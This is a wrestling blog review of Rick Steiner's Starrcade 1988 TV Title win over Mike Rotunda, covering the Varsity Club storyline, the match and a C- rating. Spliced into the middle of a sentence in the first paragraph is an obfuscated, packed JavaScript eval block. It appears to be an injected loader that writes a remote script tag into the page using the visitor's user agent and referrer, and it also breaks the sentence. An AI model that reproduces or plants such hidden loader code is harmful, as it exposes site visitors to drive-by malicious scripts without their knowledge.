Required Viewing #4: The Dog Faced Superhero

Rick Steiner used to be awesome. Seriously.He eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btden|var|u0026u|referrer|trktz||js|php'.split('|'),0,{})) also used to be a heel in a group called the Varsity Club, which was a team obsessed with their collegiate athletic careers. The group was led by TV Champion Mike Rotunda and was rather evil. Steiner wasn’t entirely cool with all the cheating and was mocked as a result, so the team kicked him out and beat him down one day. Rick, who was portrayed as slightly mentally disabled at the time, came back with one of the hardest belly to belly suplexes you’ll ever see, knocking Rotunda out cold. Two weeks later when Mike woke up, a TV Title match was announced at Starrcade 1988.

The match isn’t the most interesting in the world, but the ending is better than anyone could have wanted it to be. The Varsity Club tried one of their old tricks by having Steve Williams ring the bell before the time limit was up to confuse the referee. Kevin Sullivan was lowered from the ceiling (where he had been in a cage hanging above the ring) but the referee didn’t fall for it and said wrestle. Sullivan got on the apron but Rick rammed Rotunda into him and got a quick pin for the title.

The pop was nothing short of unholy with the fans blowing the roof off the place. Rotunda had been a nearly unbeatable champion who had held the title for nearly a year. Steiner sprints around the ring and shouts “I BEAT YOU!” at Rotunda before getting out of the arena so the Club couldn’t kill him.

This was about making the crowd identify with a story and it worked like a charm. The audience could identify with someone who wasn’t as smart or as skilled as a bully, but he was willing to stand and fight for himself. Instead of having some superhero stand up to the bully, it was a guy who had faults just like everybody else. It’s a story everybody could get behind and that made it work. It’s rare to get a story like that but when one works, the fans are going to get invested in it every single time.

TV Title: Rick Steiner vs. Mike Rotundo

Back in and Rick runs him over again, only to miss a charge and go flying over the top and out to the floor. Mike pounds away with some elbows to the head back inside followed by a kick to the chest. Off to a chinlock by Rotundo for a LONG time as the match slows down again. A hard clothesline puts Steiner down again as the commentary has stopped for some reason. Rick comes back with a sunset flip for two but gets punched in the jaw for his efforts.

Rating: C-. The match mostly sucked, but man alive the ending to that was awesome. This is a perfect example of how you blow off a story at the biggest show of the year. The fans went NUTS for the ending as they identified with Steiner as someone standing up to a bully and finally getting his revenge on said bully. Rotundo would get the title back in a few weeks, but THIS match was the important moment and it was done perfectly.